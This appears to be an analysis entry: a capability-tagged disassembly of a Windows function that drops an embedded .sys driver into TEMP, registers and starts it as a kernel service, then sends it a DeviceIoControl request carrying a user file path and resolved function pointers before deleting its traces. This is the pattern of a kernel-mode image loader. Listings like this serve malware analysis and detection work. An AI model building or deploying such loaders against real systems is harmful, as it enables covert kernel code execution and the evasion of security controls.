Function at 0x140001260
Capabilities:
Create service
Delete file
Query environment variable
Start service
Write file on windows

Disassembly:
push rbx
push rdi
push r14
push r15
sub rsp, 0x9b8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x9a0], rax
movsxd r15, ecx
mov r14, rdx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov ecx, 0xa
mov rbx, rax
call fcn.140001120
mov r9, rbx
mov qword [rsp + 0x20], rax
lea r8, str._s_s.sys
mov edx, 0x400
lea rcx, [rsp + 0x5a0]
mov rdi, rax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [0x14000343c]
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001443
mov qword [rsp + 0x9f0], rbp
lea rcx, [0x140005080]
mov qword [rsp + 0x9f8], rsi
mov r9, rbx
mov edx, 0x75f8
mov qword [rsp + 0x9b0], r12
mov r8d, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0xf
call fcn.140001120
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x100
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea r8, [rsp + 0xa0]
mov edx, 0x100
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbp, rax
test rax, rax
je 0x140001412
xor r12d, r12d
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], r12
mov r8, rdi
mov qword [rsp + 0x58], r12
mov rdx, rdi
mov qword [rsp + 0x50], r12
mov rcx, rbp
mov qword [rsp + 0x48], r12
lea r9d, [r12 + 0x10]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rsi, rax
test rax, rax
jne 0x140001461
lea r8d, [r12 + 0x10]
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x140001461
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor al, al
mov rsi, qword [rsp + 0x9f8]
mov rbp, qword [rsp + 0x9f0]
mov r12, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9a0]
xor rcx, rsp
call fcn.140001890
add rsp, 0x9b8
pop r15
pop r14
pop rdi
pop rbx
ret
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x140001412
mov qword [rsp + 0x30], r12
lea rcx, [0x140003440]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
test rax, rax
jne 0x1400014c6
mov rcx, rdi
call fcn.140001070
jmp 0x140001412
xor edx, edx
lea rcx, [rsp + 0x1a0]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea r8, [rsp + 0x1a0]
mov edx, 0x400
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x1a0]
mov r9, rbx
inc r9
cmp byte [rax + r9], r12b
jne 0x140001506
mov dword [rsp + 0x28], r12d
lea r8, [rsp + 0x1a0]
xor edx, edx
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbp, eax
mov eax, 2
lea rcx, [rbp + 1]
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.1400018b8
mov r14, rax
lea rax, [rsp + 0x1a0]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140001551
mov r9, rbx
mov dword [rsp + 0x28], ebp
lea r8, [rsp + 0x1a0]
mov qword [rsp + 0x20], r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov word [r14 + rbp*2], r12w
lea rcx, str.kernel32.dll
xor bpl, bpl
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.ntdll.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test r15, r15
je 0x140001637
test rax, rax
je 0x140001637
lea rdx, [0x140003488]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140003498]
mov rcx, r15
mov qword [rsp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlAddFunctionTable
mov rcx, rbx
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x70]
mov qword [rsp + 0x30], r12
mov r9d, 0x28
mov dword [rsp + 0x28], r12d
mov edx, 0x22200a
mov rcx, rsi
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
setne bpl
mov rcx, r14
call fcn.1400018b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140001070
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movzx eax, bpl
jmp 0x14000142b